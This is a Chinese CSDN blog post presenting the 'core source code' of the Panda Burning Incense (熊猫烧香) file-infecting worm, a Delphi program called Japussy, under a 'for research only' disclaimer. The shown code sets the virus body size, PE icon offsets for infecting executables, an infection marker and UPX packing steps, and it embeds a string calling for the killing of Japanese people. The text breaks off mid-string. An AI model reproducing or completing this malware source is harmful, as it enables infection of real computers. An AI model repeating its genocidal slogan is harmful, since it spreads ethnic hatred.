熊猫烧香 - 核心源码 (僅供研究使用!後果自行負責 )

最新推荐文章于 2023-12-28 22:19:01 发布

hunhun02

最新推荐文章于 2023-12-28 22:19:01 发布

阅读量1.3k

点赞数 1

文章标签： integer delphi string function windows dst

本文链接：https://blog.csdn.net/hunhun02/article/details/1517878

版权

本文深入探讨了熊猫烧香病毒的核心源码，详细分析了其在Windows平台上的运行机制，包括Integer、Delphi编程技巧、字符串处理以及 DST（动态地址定位）等关键要素。警告：仅供研究，使用后果自负。

摘要由CSDN通过智能技术生成

熊猫烧香 - 核心源码
--------------------------------------------------------------------------------
僅供研究使用!後果自行負責

代码:--------------------------------------------------------------------------------
程序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Jap